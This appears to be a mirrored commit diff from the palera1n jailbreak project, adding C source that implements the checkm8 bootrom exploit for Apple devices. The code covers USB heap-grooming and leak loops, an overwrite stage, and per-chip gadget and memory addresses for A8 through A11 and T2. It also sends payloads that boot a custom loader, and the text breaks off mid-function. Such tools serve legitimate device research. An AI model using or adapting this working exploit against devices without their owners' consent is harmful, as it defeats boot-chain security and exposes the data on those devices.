mirror of
https://github.com/palera1n/palera1n.git
synced 2026-12-05 15:54:30 +01:00
refactor: libciderra1n support (#764)
* refactor refactor: remove wdi refactor: move openra1n to its own library refactor: move everything standalone file to src root * submodule * okay these shouldnt of been included * remove * readd * fix openra1n libusb * liteusb for ra1ncovery * fix action * token * whatever lwra bw apwxidix * I knew this was gonna happen * fix mac build * what if this doesnt work * okay bro * lzma resources * rename * use idevice++, fix multiple devices, enter recovery * whatever * fix * --force-enable-ssv * improve exploit stuff, mirror tui logic to gui also cooool logging for libopenra1n * fix idevice windows build * lets not be fancy * new idevice patch * easier to read * lets hope this action works! * remove useless ifs * not required for non tui * PLEASE COMPILE * gsed lmao * this might work idk * whatever bro * ah * amd fix * fix ts * fix * licensing * update paleinfo * LETS NOT do that * forgot a file
This commit is contained in:
128 files changed
+12054
-3114
No files matched your search
@@ -0,0 +1,375 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2023 0x7ff
|
||||
* Copyright (C) 2023 Mineek
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: Apache-2.0
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#include <checkm8.h>
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <payload.h>
|
||||
#include <dfu.h>
|
||||
#include <stage1.h>
|
||||
#include <utils.h>
|
||||
#include <shim.h>
|
||||
#include <gen/payloads/lz4dec.h>
|
||||
|
||||
#include <lz4/lz4.h>
|
||||
#include <lz4/lz4hc.h>
|
||||
|
||||
static struct {
|
||||
uint8_t b_len, b_descriptor_type;
|
||||
uint16_t bcd_usb;
|
||||
uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz;
|
||||
uint16_t id_vendor, id_product, bcd_device;
|
||||
uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations;
|
||||
} device_descriptor;
|
||||
|
||||
static bool dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state)
|
||||
{
|
||||
struct {
|
||||
uint8_t status, poll_timeout[3], state, str_idx;
|
||||
} dfu_status;
|
||||
|
||||
transfer_ret_t result;
|
||||
|
||||
result = send_usb_control_request(handle, 0xA1, DFU_GET_STATUS, 0, 0, &dfu_status, sizeof(dfu_status));
|
||||
|
||||
return result.ret == USB_TRANSFER_OK
|
||||
&& result.sz == sizeof(dfu_status)
|
||||
&& dfu_status.status == status
|
||||
&& dfu_status.state == state;
|
||||
}
|
||||
|
||||
static bool dfu_set_state_wait_reset(const usb_handle_t *handle)
|
||||
{
|
||||
transfer_ret_t result;
|
||||
|
||||
result = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0);
|
||||
|
||||
return result.ret == USB_TRANSFER_OK
|
||||
&& result.sz == 0
|
||||
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC)
|
||||
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST)
|
||||
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET);
|
||||
}
|
||||
|
||||
checkm8_err_t checkm8_stage_reset(const usb_handle_t *handle)
|
||||
{
|
||||
LOG("checkm8 reset stage");
|
||||
|
||||
transfer_ret_t result;
|
||||
|
||||
result = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN);
|
||||
if (result.ret != USB_TRANSFER_OK || result.sz != DFU_FILE_SUFFIX_LEN)
|
||||
goto fail;
|
||||
|
||||
if (!dfu_set_state_wait_reset(handle))
|
||||
goto fail;
|
||||
|
||||
result = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ);
|
||||
if (result.ret != USB_TRANSFER_OK || result.sz != EP0_MAX_PACKET_SZ)
|
||||
goto fail;
|
||||
|
||||
return CHECKM8_ERR_NONE;
|
||||
|
||||
fail:
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0);
|
||||
|
||||
return CHECKM8_ERR_TRANSFER_FAILED;
|
||||
}
|
||||
|
||||
checkm8_err_t checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig)
|
||||
{
|
||||
LOG("checkm8 setup stage");
|
||||
|
||||
unsigned usb_abort_timeout = USB_TIMEOUT - 1;
|
||||
transfer_ret_t result;
|
||||
|
||||
for (;;) {
|
||||
result = send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout);
|
||||
|
||||
if (result.sz < deviceConfig->config_overwrite_pad) {
|
||||
result = send_usb_control_request_no_data(handle, 0, 0, 0, 0, deviceConfig->config_overwrite_pad - result.sz);
|
||||
|
||||
if (result.ret == USB_TRANSFER_STALL)
|
||||
return CHECKM8_ERR_NONE;
|
||||
}
|
||||
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ);
|
||||
usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
|
||||
}
|
||||
|
||||
return CHECKM8_ERR_TRANSFER_FAILED;
|
||||
}
|
||||
|
||||
static bool checkm8_usb_request_leak(const usb_handle_t *handle) {
|
||||
transfer_ret_t result;
|
||||
|
||||
result = send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1);
|
||||
return result.sz == 0;
|
||||
}
|
||||
|
||||
static void checkm8_stall(const usb_handle_t *handle)
|
||||
{
|
||||
unsigned usb_abort_timeout = USB_TIMEOUT - 1;
|
||||
transfer_ret_t result;
|
||||
|
||||
for (;;) {
|
||||
result = send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout);
|
||||
|
||||
if (result.sz < 3 * EP0_MAX_PACKET_SZ && checkm8_usb_request_leak(handle))
|
||||
break;
|
||||
|
||||
usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
|
||||
}
|
||||
}
|
||||
|
||||
static bool checkm8_no_leak(const usb_handle_t *handle)
|
||||
{
|
||||
transfer_ret_t result;
|
||||
|
||||
result = send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ + 1, 1);
|
||||
|
||||
return result.sz == 0;
|
||||
}
|
||||
|
||||
static bool checkm8_usb_request_stall(const usb_handle_t *handle)
|
||||
{
|
||||
transfer_ret_t result;
|
||||
|
||||
result = send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0);
|
||||
|
||||
return result.ret == USB_TRANSFER_STALL;
|
||||
}
|
||||
|
||||
char *get_usb_serial_number(usb_handle_t *handle)
|
||||
{
|
||||
transfer_ret_t result;
|
||||
uint8_t buf[UINT8_MAX];
|
||||
char *str = NULL;
|
||||
size_t i, sz;
|
||||
|
||||
result = send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &device_descriptor, sizeof(device_descriptor));
|
||||
|
||||
if (result.ret != USB_TRANSFER_OK || result.sz != sizeof(device_descriptor))
|
||||
return NULL;
|
||||
|
||||
result = send_usb_control_request(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, 0x409, buf, sizeof(buf));
|
||||
|
||||
if (result.ret != USB_TRANSFER_OK || result.sz != buf[0])
|
||||
return NULL;
|
||||
|
||||
sz = buf[0] / 2;
|
||||
if (sz == 0)
|
||||
return NULL;
|
||||
|
||||
str = malloc(sz);
|
||||
if (str == NULL)
|
||||
return NULL;
|
||||
|
||||
for (i = 0; i < sz; ++i) str[i] = (char)buf[2 * (i + 1)];
|
||||
|
||||
str[sz - 1] = '\0';
|
||||
|
||||
return str;
|
||||
}
|
||||
|
||||
checkm8_err_t checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) {
|
||||
LOG("checkm8 trigger stage");
|
||||
|
||||
size_t i;
|
||||
transfer_ret_t result;
|
||||
|
||||
if(deviceConfig->config_large_leak == 0) {
|
||||
if(deviceConfig->cpid == A8X || deviceConfig->cpid == A8 || deviceConfig->cpid == S1 || deviceConfig->cpid == A9_TSMC || deviceConfig->cpid == A9) {
|
||||
while(!checkm8_usb_request_stall(handle) || !checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
|
||||
} else {
|
||||
checkm8_stall(handle);
|
||||
for(i = 0; i < deviceConfig->config_hole; ++i) {
|
||||
while(!checkm8_no_leak(handle)) {}
|
||||
}
|
||||
while(!checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
|
||||
}
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1);
|
||||
} else {
|
||||
for(i = 0; i < deviceConfig->config_large_leak; ++i) {
|
||||
while(!checkm8_usb_request_stall(handle)) {}
|
||||
}
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0);
|
||||
}
|
||||
|
||||
return CHECKM8_ERR_NONE;
|
||||
}
|
||||
|
||||
checkm8_err_t checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) {
|
||||
LOG("checkm8 patch stage");
|
||||
|
||||
size_t i, data_sz, packet_sz;
|
||||
void *data;
|
||||
transfer_ret_t result;
|
||||
bool ret = false;
|
||||
|
||||
const uint8_t *checkra1n_payload = NULL;
|
||||
void *overwrite = NULL;
|
||||
size_t checkra1n_payload_sz = 0;
|
||||
size_t overwrite_sz = 0;
|
||||
|
||||
checkm8_overwrite_t checkm8_overwrite;
|
||||
memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite));
|
||||
checkm8_overwrite.callback.next = payloadConfig->insecure_memory_base;
|
||||
overwrite = &checkm8_overwrite;
|
||||
overwrite_sz = sizeof(checkm8_overwrite);
|
||||
|
||||
ret = create_pongo_payload_for_device(deviceConfig->cpid, &checkra1n_payload, &checkra1n_payload_sz);
|
||||
if (!ret) return CHECKM8_ERR_UNSUPPORTED;
|
||||
|
||||
ret = generate_stage1(&data, &data_sz, checkra1n_payload, checkra1n_payload_sz, deviceConfig, payloadConfig);
|
||||
if (!ret) return CHECKM8_ERR_INVALID_PAYLOAD;
|
||||
|
||||
if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) {
|
||||
LOG_DEBUG("successfully leaked data");
|
||||
} else {
|
||||
LOG_ERROR("failed to leak data");
|
||||
return CHECKM8_ERR_TRANSFER_FAILED;
|
||||
}
|
||||
|
||||
for (i = 0; i < 2; i++) {
|
||||
LOG_DEBUG("i = %zu", i);
|
||||
result = send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0);
|
||||
}
|
||||
|
||||
if (overwrite != NULL) {
|
||||
result = send_usb_control_request(handle, 0x00, 0, 0, 0x00, overwrite, overwrite_sz);
|
||||
if (result.ret != USB_TRANSFER_STALL) {
|
||||
LOG_ERROR("failed to send overwrite data");
|
||||
return CHECKM8_ERR_TRANSFER_FAILED;
|
||||
}
|
||||
|
||||
for (i = 0; ret && i < data_sz; i += packet_sz) {
|
||||
packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ);
|
||||
|
||||
result = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz);
|
||||
}
|
||||
|
||||
result = send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0);
|
||||
}
|
||||
|
||||
// todo: do something with the result
|
||||
|
||||
free(data);
|
||||
|
||||
return ret ? CHECKM8_ERR_NONE : CHECKM8_ERR_TRANSFER_FAILED;
|
||||
}
|
||||
|
||||
static bool compress_pongo(const uint8_t *bin, size_t bin_len, uint8_t **out, size_t *out_len)
|
||||
{
|
||||
int src_size = (int)bin_len;
|
||||
int max_size = LZ4_compressBound(src_size);
|
||||
|
||||
uint8_t *buf = malloc(max_size);
|
||||
if (!buf)
|
||||
return false;
|
||||
|
||||
int size = LZ4_compress_HC(
|
||||
(const char *)bin,
|
||||
(char *)buf,
|
||||
src_size,
|
||||
max_size,
|
||||
LZ4HC_CLEVEL_MAX
|
||||
);
|
||||
|
||||
if (size <= 0) {
|
||||
free(buf);
|
||||
return false;
|
||||
}
|
||||
|
||||
*out = buf;
|
||||
*out_len = (size_t)size;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
#define SHELLCODE_SZ (512)
|
||||
|
||||
bool prepare_pongo(uint8_t **out, size_t *out_len, const uint8_t *pongo_bin, size_t pongo_bin_len)
|
||||
{
|
||||
size_t pongoSize;
|
||||
uint8_t *pongo;
|
||||
|
||||
if (!compress_pongo(pongo_bin, pongo_bin_len, &pongo, &pongoSize))
|
||||
return false;
|
||||
|
||||
LOG("Sending pongo image");
|
||||
|
||||
uint8_t *payload = malloc(SHELLCODE_SZ + pongoSize);
|
||||
if (!payload) {
|
||||
free(pongo);
|
||||
return false;
|
||||
}
|
||||
|
||||
memcpy(payload, payloads_lz4dec_bin, SHELLCODE_SZ);
|
||||
memcpy(payload + SHELLCODE_SZ, pongo, pongoSize);
|
||||
|
||||
free(pongo);
|
||||
|
||||
pongo = payload;
|
||||
pongoSize += SHELLCODE_SZ;
|
||||
|
||||
uint32_t *pongoSizeInData = (uint32_t *)(pongo + 0x1fc);
|
||||
*pongoSizeInData = (uint32_t)(pongoSize - SHELLCODE_SZ);
|
||||
|
||||
*out = pongo;
|
||||
*out_len = pongoSize;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
checkm8_err_t checkm8_boot_pongo(usb_handle_t *handle, const uint8_t *pongo_bin, size_t pongo_bin_len)
|
||||
{
|
||||
transfer_ret_t result;
|
||||
|
||||
size_t len = 0;
|
||||
|
||||
while (len < pongo_bin_len) {
|
||||
size_t chunk = (pongo_bin_len - len > 0x800) ? 0x800 : (pongo_bin_len - len);
|
||||
retry:
|
||||
result = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, pongo_bin + len, chunk);
|
||||
|
||||
if (result.sz != chunk || result.ret != USB_TRANSFER_OK)
|
||||
{
|
||||
LOG_DEBUG("retrying at len = %zu", len);
|
||||
sleep_ms(100);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
len += chunk;
|
||||
LOG_DEBUG("len = %zu", len);
|
||||
}
|
||||
|
||||
result = send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0);
|
||||
if (result.ret != USB_TRANSFER_OK)
|
||||
return CHECKM8_ERR_TRANSFER_FAILED;
|
||||
|
||||
return CHECKM8_ERR_NONE;
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: Apache-2.0
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#include <dfu.h>
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
|
||||
uint16_t dfu_serial_number_get_cpid(char *serial) {
|
||||
char *cpid = strstr(serial, "CPID:");
|
||||
if (cpid == NULL) { return -1; }
|
||||
return strtol(cpid + 5, NULL, 16);
|
||||
}
|
||||
|
||||
uint32_t dfu_serial_number_get_bdid(char *serial) {
|
||||
char *bdid = strstr(serial, "BDID:");
|
||||
if (bdid == NULL) { return -1; }
|
||||
return strtoul(bdid + 5, NULL, 16);
|
||||
}
|
||||
|
||||
uint64_t dfu_serial_number_get_ecid(char *serial) {
|
||||
char *ecid = strstr(serial, "ECID:");
|
||||
if (ecid == NULL) { return -1; }
|
||||
return strtoull(ecid + 5, NULL, 16);
|
||||
}
|
||||
|
||||
bool dfu_serial_number_is_in_dfu_mode(char *serial) {
|
||||
char *DFU = strstr(serial, "SRTG");
|
||||
return DFU != NULL;
|
||||
}
|
||||
|
||||
bool dfu_serial_number_is_pwned(char *serial) {
|
||||
char *pwnd = strstr(serial, "PWND:");
|
||||
return pwnd != NULL;
|
||||
}
|
||||
|
||||
bool dfu_serial_number_is_in_yolo_dfu(char *serial) {
|
||||
char *yolo = strstr(serial, "YOLO");
|
||||
return yolo != NULL;
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,238 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#include <payload.h>
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include <utils.h>
|
||||
|
||||
#include <gen/payloads/yolo_s8000.h>
|
||||
#include <gen/payloads/yolo_s8001.h>
|
||||
#include <gen/payloads/yolo_s8003.h>
|
||||
#include <gen/payloads/yolo_t7000.h>
|
||||
#include <gen/payloads/yolo_t7001.h>
|
||||
#include <gen/payloads/yolo_t8010.h>
|
||||
#include <gen/payloads/yolo_t8011.h>
|
||||
#include <gen/payloads/yolo_t8012.h>
|
||||
#include <gen/payloads/yolo_t8015.h>
|
||||
|
||||
bool checkm8_find_device_configuration_for_cpid(
|
||||
uint16_t cpid,
|
||||
struct DeviceConfiguration *config)
|
||||
{
|
||||
bool foundMatchingConfiguration = true;
|
||||
switch (cpid) {
|
||||
case A11:
|
||||
case T2:
|
||||
case A10X:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x540;
|
||||
config->config_hole = 6;
|
||||
break;
|
||||
case A10:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x5C0;
|
||||
config->config_hole = 5;
|
||||
break;
|
||||
case A9X:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x5C0;
|
||||
config->config_hole = 6;
|
||||
break;
|
||||
case A9_TSMC:
|
||||
case A9:
|
||||
case A8X:
|
||||
case A8:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x500;
|
||||
config->config_hole = 0;
|
||||
break;
|
||||
default:
|
||||
LOG_ERROR("CPID 0x%x is not supported!", cpid);
|
||||
foundMatchingConfiguration = false;
|
||||
break;
|
||||
}
|
||||
return foundMatchingConfiguration;
|
||||
}
|
||||
|
||||
bool checkm8_find_payload_configuration_for_cpid(
|
||||
uint16_t cpid,
|
||||
struct PayloadConfiguration *config)
|
||||
{
|
||||
bool foundMatchingConfiguration = true;
|
||||
switch (cpid) {
|
||||
case A11:
|
||||
config->insecure_memory_base = 0x18001C000;
|
||||
config->func_gadget = 0x10000a998;
|
||||
config->tlbi = 0x1000004AC;
|
||||
config->write_prim = 0x100009c48;
|
||||
config->arm_clean_invalidate_dcache_line = 0x1000004e4;
|
||||
config->arm_invalidate_icache = 0x1000004c0;
|
||||
config->enter_critical_section = 0x10000f958;
|
||||
config->exit_critical_section = 0x10000f9a0;
|
||||
config->write_ttbr0 = 0x10000045c;
|
||||
config->tlbi = 0x1000004ac;
|
||||
config->TTBR0_PATCH_BASE = 0x180020000;
|
||||
config->TTBR0_BASE = 0xc000;
|
||||
config->bootstrap_task_lr = 0x180015f88;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case T2:
|
||||
config->insecure_memory_base = 0x18001C000;
|
||||
config->func_gadget = 0x100008d8c;
|
||||
config->write_prim = 0x100008058;
|
||||
config->arm_clean_invalidate_dcache_line = 0x1000004cc;
|
||||
config->arm_invalidate_icache = 0x1000004a8;
|
||||
config->enter_critical_section = 0x10000f9b8;
|
||||
config->exit_critical_section = 0x10000fa00;
|
||||
config->write_ttbr0 = 0x100000444;
|
||||
config->tlbi = 0x100000494;
|
||||
config->TTBR0_PATCH_BASE = 0x180020000;
|
||||
config->TTBR0_BASE = 0xc000;
|
||||
config->bootstrap_task_lr = 0x180015f78;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case A10X:
|
||||
config->insecure_memory_base = 0x1800B0000;
|
||||
config->func_gadget = 0x10000cce4;
|
||||
config->write_prim2 = 0x100001804;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000047c;
|
||||
config->arm_invalidate_icache = 0x100000458;
|
||||
config->enter_critical_section = 0x10000a658;
|
||||
config->exit_critical_section = 0x10000a6a0;
|
||||
config->write_ttbr0 = 0x1000003F4;
|
||||
config->tlbi = 0x100000444;
|
||||
config->TTBR0_PATCH_BASE = 0x1800b4000;
|
||||
config->TTBR0_BASE = 0xa0000;
|
||||
config->bootstrap_task_lr = 0x1800a9f88;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case A10:
|
||||
config->insecure_memory_base = 0x1800B0000;
|
||||
config->func_gadget = 0x10000cc44;
|
||||
config->write_prim2 = 0x100001808;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000046c;
|
||||
config->arm_invalidate_icache = 0x100000448;
|
||||
config->enter_critical_section = 0x10000A4B8;
|
||||
config->exit_critical_section = 0x10000A514;
|
||||
config->write_ttbr0 = 0x1000003E4;
|
||||
config->tlbi = 0x100000434;
|
||||
config->TTBR0_PATCH_BASE = 0x1800b4000;
|
||||
config->TTBR0_BASE = 0xa0000;
|
||||
config->bootstrap_task_lr = 0x1800a9f68;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case A9X:
|
||||
config->insecure_memory_base = 0x180000000;
|
||||
config->func_gadget = 0x10000cd38;
|
||||
config->write_prim2 = 0x100001a78;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000043c;
|
||||
config->arm_invalidate_icache = 0x100000418;
|
||||
config->enter_critical_section = 0x100009b24;
|
||||
config->exit_critical_section = 0x100009b88;
|
||||
config->write_ttbr0 = 0x1000003b4;
|
||||
config->tlbi = 0x100000404;
|
||||
config->TTBR0_PATCH_BASE = 0x180004000;
|
||||
config->TTBR0_BASE = 0x50000;
|
||||
config->bootstrap_task_lr = 0x180059f58;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case A9:
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->func_gadget = 0x10000de0c;
|
||||
config->write_prim2 = 0x100001bc0;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000042c;
|
||||
config->arm_invalidate_icache = 0x100000408;
|
||||
config->bootstrap_task_lr = 0x1800c2f58;
|
||||
config->payload_start_offset = 0xc0;
|
||||
break;
|
||||
case A9_TSMC:
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->func_gadget = 0x10000de0c;
|
||||
config->write_prim2 = 0x100001bc0;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000042c;
|
||||
config->arm_invalidate_icache = 0x100000408;
|
||||
config->bootstrap_task_lr = 0x1800c2f58;
|
||||
config->payload_start_offset = 0xc0;
|
||||
break;
|
||||
case A8X:
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->func_gadget = 0x100010df4;
|
||||
config->write_prim = 0x10000ed5c;
|
||||
config->arm_clean_invalidate_dcache_line = 0x100000448;
|
||||
config->arm_invalidate_icache = 0x100000424;
|
||||
config->bootstrap_task_lr = 0x1800c2f68;
|
||||
config->payload_start_offset = 0xc0;
|
||||
break;
|
||||
case A8:
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->func_gadget = 0x10000ddf4;
|
||||
config->write_prim = 0x10000bc2c;
|
||||
config->arm_clean_invalidate_dcache_line = 0x100000448;
|
||||
config->arm_invalidate_icache = 0x100000424;
|
||||
config->bootstrap_task_lr = 0x1800c2f68;
|
||||
config->payload_start_offset = 0xc0;
|
||||
break;
|
||||
default:
|
||||
LOG_ERROR("CPID 0x%x is not supported!", cpid);
|
||||
foundMatchingConfiguration = false;
|
||||
}
|
||||
return foundMatchingConfiguration;
|
||||
}
|
||||
|
||||
static const yolo_payload_t yolo_payloads[] = {
|
||||
{A11, payloads_yolo_t8015_bin, payloads_yolo_t8015_bin_len},
|
||||
{T2, payloads_yolo_t8012_bin, payloads_yolo_t8012_bin_len},
|
||||
{A10X, payloads_yolo_t8011_bin, payloads_yolo_t8011_bin_len},
|
||||
{A10, payloads_yolo_t8010_bin, payloads_yolo_t8010_bin_len},
|
||||
{A9_TSMC, payloads_yolo_s8003_bin, payloads_yolo_s8003_bin_len},
|
||||
{A9X, payloads_yolo_s8001_bin, payloads_yolo_s8001_bin_len},
|
||||
{A9, payloads_yolo_s8000_bin, payloads_yolo_s8000_bin_len},
|
||||
{A8X, payloads_yolo_t7001_bin, payloads_yolo_t7001_bin_len},
|
||||
{A8, payloads_yolo_t7000_bin, payloads_yolo_t7000_bin_len},
|
||||
};
|
||||
|
||||
bool create_pongo_payload_for_device(
|
||||
uint16_t cpid,
|
||||
const uint8_t **payload,
|
||||
size_t *payloadSize)
|
||||
{
|
||||
LOG_DEBUG("Preparing YoloDFU payload for CPID 0x%x", cpid);
|
||||
|
||||
*payload = NULL;
|
||||
*payloadSize = 0;
|
||||
|
||||
size_t count = sizeof(yolo_payloads) / sizeof(yolo_payloads[0]);
|
||||
|
||||
for (size_t i = 0; i < count; i++) {
|
||||
if (yolo_payloads[i].cpid == cpid) {
|
||||
*payload = yolo_payloads[i].data;
|
||||
*payloadSize = yolo_payloads[i].len;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
LOG("Failed to prepare payload for device with CPID 0x%x", cpid);
|
||||
return false;
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2023 0x7ff
|
||||
* Copyright (C) 2023 Mineek
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: Apache-2.0
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#include <shim.h>
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifdef __APPLE__
|
||||
# include <usb_iokit.h>
|
||||
#else
|
||||
# include <usb_libusb.h>
|
||||
#endif
|
||||
|
||||
transfer_ret_t send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len) {
|
||||
transfer_ret_t result;
|
||||
void *p_data;
|
||||
|
||||
if(w_len == 0) {
|
||||
return send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, NULL, 0);
|
||||
} else if((p_data = malloc(w_len)) != NULL) {
|
||||
memset(p_data, '\0', w_len);
|
||||
result = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len);
|
||||
free(p_data);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
transfer_ret_t send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout) {
|
||||
transfer_ret_t result;
|
||||
void *p_data;
|
||||
|
||||
if(w_len == 0) {
|
||||
return send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, usb_abort_timeout);
|
||||
} else if((p_data = malloc(w_len)) != NULL) {
|
||||
memset(p_data, '\0', w_len);
|
||||
result = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, usb_abort_timeout);
|
||||
